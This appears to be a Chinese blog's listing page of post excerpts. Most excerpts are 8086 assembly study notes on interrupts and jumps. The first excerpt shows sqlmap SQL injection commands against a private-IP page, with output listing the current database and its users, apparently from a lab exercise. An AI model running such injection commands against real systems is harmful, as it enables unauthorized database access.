摘要:
1 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- 2 current-db 3 4 5 current database: 'testdb' 6 7 8 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users 9 10 11 database management system users [5]: 12 [*] 'debian-sys-maint& 阅读全文
摘要:
1 程序: 2 assume cs:code 3 data segment 4 db "welcome to masm!",0 5 data ends 6 7 code segment 8 start: 9 mov dh,1010 mov dl,1011 mov cl,212 mov ax,data13 mov ds,ax14 mov si,015 int 7ch16 mov ax,4c00h17 int 21h18 code ends19 end start20 21 7C中断例程:22 ... 阅读全文
摘要:
(1)最大转移的范围为FFFFH,可以转移的范围是 -32768~32767(2)jmp near ptr s是近转移(-32768-32767)near: push bp mov bp,sp add [bp+2],bx pop bpiret(3)(应用列举)assume cs:codedata segment db 'conversation',0data endscode segmentstart: mov ax,data mov ds,ax mov si,0 mov ax,0b800h mov es,ax mov di,12*160s: cmp byte ptr [si] 阅读全文
摘要:
1、中断信息可以来自CPU的内部和外部2、CPU在收到中断请求过后,取到中断类型码过后,从中断向量表中找到中断类型码相对应的中断处理程序入口地址,并设置CS和IP,这个步骤称为中断过程3、iret指令功能的汇编描述pop IPPOP CSPOPf4、中断程序的入口地址可以称为中断向量,而中断向量表就是所有程序的中断向量集成。 中断向量表的地址为:0000:0000-0000:03FF,共1024个字节,高地址存放段地址,低地址存放低偏移地址。 CPU在取得中断类型码过后在中断向量表中寻址中断向量的段地址和偏移地址(段地址=中断类型码*4+2,偏移地址=中断类型码*4)5、debug中的T命.. 阅读全文
摘要:
1 assume cs:code 2 code segment 3 start: 4 mov ax,cs 5 mov ds,ax 6 mov si,offset do0 7 8 mov ax,0 9 mov es,ax10 mov di,200h11 12 mov cx,offset do0end-offset do013 cld14 rep movsb15 16 mov ax,017 mov ds,ax18 mov word ptr ds:[0],200H19 ... 阅读全文